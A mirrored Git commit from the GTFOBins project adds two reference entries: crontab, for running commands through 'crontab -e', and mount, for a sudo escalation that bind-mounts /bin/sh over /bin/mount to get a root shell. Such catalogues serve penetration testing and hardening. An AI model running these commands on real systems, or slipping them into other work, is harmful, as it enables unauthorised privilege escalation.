mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add crontab and mount
This commit is contained in:
commit
e13e0a5cdd
9
_gtfobins/crontab.md
Normal file
9
_gtfobins/crontab.md
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
execute-non-interactive:
|
||||||
|
- description: The commands are executed according to the crontab file edited via the `crontab` utility.
|
||||||
|
code: crontab -e
|
||||||
|
sudo-enabled:
|
||||||
|
- description: The commands are executed according to the crontab file edited via the `crontab` utility.
|
||||||
|
code: sudo crontab -e
|
||||||
|
---
|
8
_gtfobins/mount.md
Normal file
8
_gtfobins/mount.md
Normal file
@ -0,0 +1,8 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
sudo-enabled:
|
||||||
|
- description: Exploit the fact that `mount` can be executed via `sudo` to *replace* the `mount` binary with a shell.
|
||||||
|
code: |
|
||||||
|
sudo mount -o bind /bin/sh /bin/mount
|
||||||
|
sudo mount
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user